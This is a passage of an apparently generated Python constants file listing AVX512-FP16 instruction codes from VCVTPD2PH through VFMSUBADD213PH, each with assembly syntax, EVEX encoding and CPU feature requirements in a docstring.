EVEX_VCVTPD2PH_XMM_K1Z_ZMMM512B64_ER: int = 4337
"""
``VCVTPD2PH xmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.66.MAP5.W1 5A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2DQ_XMM_K1Z_XMMM64B16: int = 4338
"""
``VCVTPH2DQ xmm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.128.66.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2DQ_YMM_K1Z_XMMM128B16: int = 4339
"""
``VCVTPH2DQ ymm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.256.66.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2DQ_ZMM_K1Z_YMMM256B16_ER: int = 4340
"""
``VCVTPH2DQ zmm1 {k1}{z}, ymm2/m256/m16bcst{er}``
``EVEX.512.66.MAP5.W0 5B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PD_XMM_K1Z_XMMM32B16: int = 4341
"""
``VCVTPH2PD xmm1 {k1}{z}, xmm2/m32/m16bcst``
``EVEX.128.MAP5.W0 5A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PD_YMM_K1Z_XMMM64B16: int = 4342
"""
``VCVTPH2PD ymm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.256.MAP5.W0 5A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PD_ZMM_K1Z_XMMM128B16_SAE: int = 4343
"""
``VCVTPH2PD zmm1 {k1}{z}, xmm2/m128/m16bcst{sae}``
``EVEX.512.MAP5.W0 5A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PSX_XMM_K1Z_XMMM64B16: int = 4344
"""
``VCVTPH2PSX xmm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.128.66.MAP6.W0 13 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PSX_YMM_K1Z_XMMM128B16: int = 4345
"""
``VCVTPH2PSX ymm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.256.66.MAP6.W0 13 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2PSX_ZMM_K1Z_YMMM256B16_SAE: int = 4346
"""
``VCVTPH2PSX zmm1 {k1}{z}, ymm2/m256/m16bcst{sae}``
``EVEX.512.66.MAP6.W0 13 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2QQ_XMM_K1Z_XMMM32B16: int = 4347
"""
``VCVTPH2QQ xmm1 {k1}{z}, xmm2/m32/m16bcst``
``EVEX.128.66.MAP5.W0 7B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2QQ_YMM_K1Z_XMMM64B16: int = 4348
"""
``VCVTPH2QQ ymm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.256.66.MAP5.W0 7B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2QQ_ZMM_K1Z_XMMM128B16_ER: int = 4349
"""
``VCVTPH2QQ zmm1 {k1}{z}, xmm2/m128/m16bcst{er}``
``EVEX.512.66.MAP5.W0 7B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UDQ_XMM_K1Z_XMMM64B16: int = 4350
"""
``VCVTPH2UDQ xmm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.128.MAP5.W0 79 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UDQ_YMM_K1Z_XMMM128B16: int = 4351
"""
``VCVTPH2UDQ ymm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.256.MAP5.W0 79 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UDQ_ZMM_K1Z_YMMM256B16_ER: int = 4352
"""
``VCVTPH2UDQ zmm1 {k1}{z}, ymm2/m256/m16bcst{er}``
``EVEX.512.MAP5.W0 79 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UQQ_XMM_K1Z_XMMM32B16: int = 4353
"""
``VCVTPH2UQQ xmm1 {k1}{z}, xmm2/m32/m16bcst``
``EVEX.128.66.MAP5.W0 79 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UQQ_YMM_K1Z_XMMM64B16: int = 4354
"""
``VCVTPH2UQQ ymm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.256.66.MAP5.W0 79 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UQQ_ZMM_K1Z_XMMM128B16_ER: int = 4355
"""
``VCVTPH2UQQ zmm1 {k1}{z}, xmm2/m128/m16bcst{er}``
``EVEX.512.66.MAP5.W0 79 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UW_XMM_K1Z_XMMM128B16: int = 4356
"""
``VCVTPH2UW xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UW_YMM_K1Z_YMMM256B16: int = 4357
"""
``VCVTPH2UW ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2UW_ZMM_K1Z_ZMMM512B16_ER: int = 4358
"""
``VCVTPH2UW zmm1 {k1}{z}, zmm2/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 7D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2W_XMM_K1Z_XMMM128B16: int = 4359
"""
``VCVTPH2W xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.66.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2W_YMM_K1Z_YMMM256B16: int = 4360
"""
``VCVTPH2W ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.66.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPH2W_ZMM_K1Z_ZMMM512B16_ER: int = 4361
"""
``VCVTPH2W zmm1 {k1}{z}, zmm2/m512/m16bcst{er}``
``EVEX.512.66.MAP5.W0 7D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPS2PHX_XMM_K1Z_XMMM128B32: int = 4362
"""
``VCVTPS2PHX xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.MAP5.W0 1D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPS2PHX_XMM_K1Z_YMMM256B32: int = 4363
"""
``VCVTPS2PHX xmm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.MAP5.W0 1D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPS2PHX_YMM_K1Z_ZMMM512B32_ER: int = 4364
"""
``VCVTPS2PHX ymm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.66.MAP5.W0 1D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PH_XMM_K1Z_XMMM128B64: int = 4365
"""
``VCVTQQ2PH xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.MAP5.W1 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PH_XMM_K1Z_YMMM256B64: int = 4366
"""
``VCVTQQ2PH xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.MAP5.W1 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PH_XMM_K1Z_ZMMM512B64_ER: int = 4367
"""
``VCVTQQ2PH xmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.MAP5.W1 5B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSD2SH_XMM_K1Z_XMM_XMMM64_ER: int = 4368
"""
``VCVTSD2SH xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.MAP5.W1 5A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSH2SD_XMM_K1Z_XMM_XMMM16_SAE: int = 4369
"""
``VCVTSH2SD xmm1 {k1}{z}, xmm2, xmm3/m16{sae}``
``EVEX.LIG.F3.MAP5.W0 5A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSH2SI_R32_XMMM16_ER: int = 4370
"""
``VCVTSH2SI r32, xmm1/m16{er}``
``EVEX.LIG.F3.MAP5.W0 2D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSH2SI_R64_XMMM16_ER: int = 4371
"""
``VCVTSH2SI r64, xmm1/m16{er}``
``EVEX.LIG.F3.MAP5.W1 2D /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTSH2SS_XMM_K1Z_XMM_XMMM16_SAE: int = 4372
"""
``VCVTSH2SS xmm1 {k1}{z}, xmm2, xmm3/m16{sae}``
``EVEX.LIG.MAP6.W0 13 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSH2USI_R32_XMMM16_ER: int = 4373
"""
``VCVTSH2USI r32, xmm1/m16{er}``
``EVEX.LIG.F3.MAP5.W0 79 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSH2USI_R64_XMMM16_ER: int = 4374
"""
``VCVTSH2USI r64, xmm1/m16{er}``
``EVEX.LIG.F3.MAP5.W1 79 /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTSI2SH_XMM_XMM_RM32_ER: int = 4375
"""
``VCVTSI2SH xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F3.MAP5.W0 2A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTSI2SH_XMM_XMM_RM64_ER: int = 4376
"""
``VCVTSI2SH xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F3.MAP5.W1 2A /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTSS2SH_XMM_K1Z_XMM_XMMM32_ER: int = 4377
"""
``VCVTSS2SH xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.MAP5.W0 1D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2DQ_XMM_K1Z_XMMM64B16: int = 4378
"""
``VCVTTPH2DQ xmm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.128.F3.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2DQ_YMM_K1Z_XMMM128B16: int = 4379
"""
``VCVTTPH2DQ ymm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.256.F3.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2DQ_ZMM_K1Z_YMMM256B16_SAE: int = 4380
"""
``VCVTTPH2DQ zmm1 {k1}{z}, ymm2/m256/m16bcst{sae}``
``EVEX.512.F3.MAP5.W0 5B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2QQ_XMM_K1Z_XMMM32B16: int = 4381
"""
``VCVTTPH2QQ xmm1 {k1}{z}, xmm2/m32/m16bcst``
``EVEX.128.66.MAP5.W0 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2QQ_YMM_K1Z_XMMM64B16: int = 4382
"""
``VCVTTPH2QQ ymm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.256.66.MAP5.W0 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2QQ_ZMM_K1Z_XMMM128B16_SAE: int = 4383
"""
``VCVTTPH2QQ zmm1 {k1}{z}, xmm2/m128/m16bcst{sae}``
``EVEX.512.66.MAP5.W0 7A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UDQ_XMM_K1Z_XMMM64B16: int = 4384
"""
``VCVTTPH2UDQ xmm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.128.MAP5.W0 78 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UDQ_YMM_K1Z_XMMM128B16: int = 4385
"""
``VCVTTPH2UDQ ymm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.256.MAP5.W0 78 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UDQ_ZMM_K1Z_YMMM256B16_SAE: int = 4386
"""
``VCVTTPH2UDQ zmm1 {k1}{z}, ymm2/m256/m16bcst{sae}``
``EVEX.512.MAP5.W0 78 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UQQ_XMM_K1Z_XMMM32B16: int = 4387
"""
``VCVTTPH2UQQ xmm1 {k1}{z}, xmm2/m32/m16bcst``
``EVEX.128.66.MAP5.W0 78 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UQQ_YMM_K1Z_XMMM64B16: int = 4388
"""
``VCVTTPH2UQQ ymm1 {k1}{z}, xmm2/m64/m16bcst``
``EVEX.256.66.MAP5.W0 78 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UQQ_ZMM_K1Z_XMMM128B16_SAE: int = 4389
"""
``VCVTTPH2UQQ zmm1 {k1}{z}, xmm2/m128/m16bcst{sae}``
``EVEX.512.66.MAP5.W0 78 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UW_XMM_K1Z_XMMM128B16: int = 4390
"""
``VCVTTPH2UW xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.MAP5.W0 7C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UW_YMM_K1Z_YMMM256B16: int = 4391
"""
``VCVTTPH2UW ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.MAP5.W0 7C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2UW_ZMM_K1Z_ZMMM512B16_SAE: int = 4392
"""
``VCVTTPH2UW zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}``
``EVEX.512.MAP5.W0 7C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2W_XMM_K1Z_XMMM128B16: int = 4393
"""
``VCVTTPH2W xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.66.MAP5.W0 7C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2W_YMM_K1Z_YMMM256B16: int = 4394
"""
``VCVTTPH2W ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.66.MAP5.W0 7C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTPH2W_ZMM_K1Z_ZMMM512B16_SAE: int = 4395
"""
``VCVTTPH2W zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}``
``EVEX.512.66.MAP5.W0 7C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTSH2SI_R32_XMMM16_SAE: int = 4396
"""
``VCVTTSH2SI r32, xmm1/m16{sae}``
``EVEX.LIG.F3.MAP5.W0 2C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTSH2SI_R64_XMMM16_SAE: int = 4397
"""
``VCVTTSH2SI r64, xmm1/m16{sae}``
``EVEX.LIG.F3.MAP5.W1 2C /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTTSH2USI_R32_XMMM16_SAE: int = 4398
"""
``VCVTTSH2USI r32, xmm1/m16{sae}``
``EVEX.LIG.F3.MAP5.W0 78 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTTSH2USI_R64_XMMM16_SAE: int = 4399
"""
``VCVTTSH2USI r64, xmm1/m16{sae}``
``EVEX.LIG.F3.MAP5.W1 78 /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTUDQ2PH_XMM_K1Z_XMMM128B32: int = 4400
"""
``VCVTUDQ2PH xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.F2.MAP5.W0 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PH_XMM_K1Z_YMMM256B32: int = 4401
"""
``VCVTUDQ2PH xmm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.F2.MAP5.W0 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUDQ2PH_YMM_K1Z_ZMMM512B32_ER: int = 4402
"""
``VCVTUDQ2PH ymm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.F2.MAP5.W0 7A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PH_XMM_K1Z_XMMM128B64: int = 4403
"""
``VCVTUQQ2PH xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.F2.MAP5.W1 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PH_XMM_K1Z_YMMM256B64: int = 4404
"""
``VCVTUQQ2PH xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.F2.MAP5.W1 7A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUQQ2PH_XMM_K1Z_ZMMM512B64_ER: int = 4405
"""
``VCVTUQQ2PH xmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.F2.MAP5.W1 7A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUSI2SH_XMM_XMM_RM32_ER: int = 4406
"""
``VCVTUSI2SH xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F3.MAP5.W0 7B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUSI2SH_XMM_XMM_RM64_ER: int = 4407
"""
``VCVTUSI2SH xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F3.MAP5.W1 7B /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VCVTUW2PH_XMM_K1Z_XMMM128B16: int = 4408
"""
``VCVTUW2PH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.F2.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUW2PH_YMM_K1Z_YMMM256B16: int = 4409
"""
``VCVTUW2PH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.F2.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTUW2PH_ZMM_K1Z_ZMMM512B16_ER: int = 4410
"""
``VCVTUW2PH zmm1 {k1}{z}, zmm2/m512/m16bcst{er}``
``EVEX.512.F2.MAP5.W0 7D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTW2PH_XMM_K1Z_XMMM128B16: int = 4411
"""
``VCVTW2PH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.F3.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTW2PH_YMM_K1Z_YMMM256B16: int = 4412
"""
``VCVTW2PH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.F3.MAP5.W0 7D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTW2PH_ZMM_K1Z_ZMMM512B16_ER: int = 4413
"""
``VCVTW2PH zmm1 {k1}{z}, zmm2/m512/m16bcst{er}``
``EVEX.512.F3.MAP5.W0 7D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VDIVPH_XMM_K1Z_XMM_XMMM128B16: int = 4414
"""
``VDIVPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 5E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VDIVPH_YMM_K1Z_YMM_YMMM256B16: int = 4415
"""
``VDIVPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 5E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VDIVPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4416
"""
``VDIVPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 5E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VDIVSH_XMM_K1Z_XMM_XMMM16_ER: int = 4417
"""
``VDIVSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.F3.MAP5.W0 5E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMADDCPH_XMM_K1Z_XMM_XMMM128B32: int = 4418
"""
``VFCMADDCPH xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F2.MAP6.W0 56 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMADDCPH_YMM_K1Z_YMM_YMMM256B32: int = 4419
"""
``VFCMADDCPH ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F2.MAP6.W0 56 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMADDCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4420
"""
``VFCMADDCPH zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.F2.MAP6.W0 56 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDCPH_XMM_K1Z_XMM_XMMM128B32: int = 4421
"""
``VFMADDCPH xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F3.MAP6.W0 56 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDCPH_YMM_K1Z_YMM_YMMM256B32: int = 4422
"""
``VFMADDCPH ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F3.MAP6.W0 56 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4423
"""
``VFMADDCPH zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.F3.MAP6.W0 56 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMADDCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4424
"""
``VFCMADDCSH xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F2.MAP6.W0 57 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4425
"""
``VFMADDCSH xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.MAP6.W0 57 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMULCPH_XMM_K1Z_XMM_XMMM128B32: int = 4426
"""
``VFCMULCPH xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F2.MAP6.W0 D6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMULCPH_YMM_K1Z_YMM_YMMM256B32: int = 4427
"""
``VFCMULCPH ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F2.MAP6.W0 D6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMULCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4428
"""
``VFCMULCPH zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.F2.MAP6.W0 D6 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMULCPH_XMM_K1Z_XMM_XMMM128B32: int = 4429
"""
``VFMULCPH xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F3.MAP6.W0 D6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMULCPH_YMM_K1Z_YMM_YMMM256B32: int = 4430
"""
``VFMULCPH ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F3.MAP6.W0 D6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMULCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4431
"""
``VFMULCPH zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.F3.MAP6.W0 D6 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFCMULCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4432
"""
``VFCMULCSH xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F2.MAP6.W0 D7 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMULCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4433
"""
``VFMULCSH xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.MAP6.W0 D7 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4434
"""
``VFMADDSUB132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 96 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4435
"""
``VFMADDSUB132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 96 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4436
"""
``VFMADDSUB132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 96 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4437
"""
``VFMADDSUB213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 A6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4438
"""
``VFMADDSUB213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 A6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4439
"""
``VFMADDSUB213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 A6 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4440
"""
``VFMADDSUB231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 B6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4441
"""
``VFMADDSUB231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 B6 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4442
"""
``VFMADDSUB231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 B6 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4443
"""
``VFMSUBADD132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 97 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4444
"""
``VFMSUBADD132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 97 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4445
"""
``VFMSUBADD132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 97 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4446
"""
``VFMSUBADD213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
